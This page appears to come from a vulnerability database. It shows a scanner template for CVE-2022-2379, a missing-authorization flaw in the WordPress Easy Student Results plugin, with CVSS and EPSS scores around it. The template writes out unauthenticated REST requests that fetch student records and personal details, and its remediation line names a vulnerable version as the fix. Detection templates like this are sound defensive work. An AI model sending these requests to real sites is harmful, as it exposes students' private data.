7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.1 High
AI Score
Confidence
High
0.028 Low
EPSS
Percentile
90.8%
WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
id: CVE-2022-2379
info:
name: WordPress Easy Student Results <=2.2.8 - Improper Authorization
author: theamanrawat
severity: high
description: |
WordPress Easy Student Results plugin through 2.2.8 is susceptible to information disclosure. The plugin lacks authorization in its REST API, which can allow an attacker to retrieve sensitive information related to courses, exams, and departments, as well as student grades and information such as email address, physical address, and phone number.
impact: |
An attacker can gain access to sensitive student information, potentially compromising their privacy and security.
remediation: |
Update to the latest version of the WordPress Easy Student Results plugin (2.2.8) to fix the improper authorization vulnerability.
reference:
- https://wpscan.com/vulnerability/0773ba24-212e-41d5-9ae0-1416ea2c9db6
- https://wordpress.org/plugins/easy-student-results/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2379
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/soxoj/information-disclosure-writeups-and-pocs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-2379
cwe-id: CWE-862
epss-score: 0.02846
epss-percentile: 0.90702
cpe: cpe:2.3:a:easy_student_results_project:easy_student_results:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: easy_student_results_project
product: easy_student_results
framework: wordpress
tags: cve,cve2022,wordpress,wp-plugin,wp,easy-student-results,disclosure,wpscan,easy_student_results_project
http:
- raw:
- |
GET /wp-json/rps_result/v1/route/student_fields HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/rps_result/v1/route/search_student?department_id=1&batch_id=1 HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body_1
words:
- '"departments":'
- 'batches":'
condition: and
- type: word
part: body_2
words:
- 'meta_data'
- '"name":"'
- '"registration_no":'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 4a0a00473045022100f64124133407f75d8bb262919179f2c3a4c57c530c8031ad726a956489b3aae802202e35452a7f46e4c16142d1dcbf6a666a30247e235d323c3a12e3bb5b0d060a22:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.1 High
AI Score
Confidence
High
0.028 Low
EPSS
Percentile
90.8%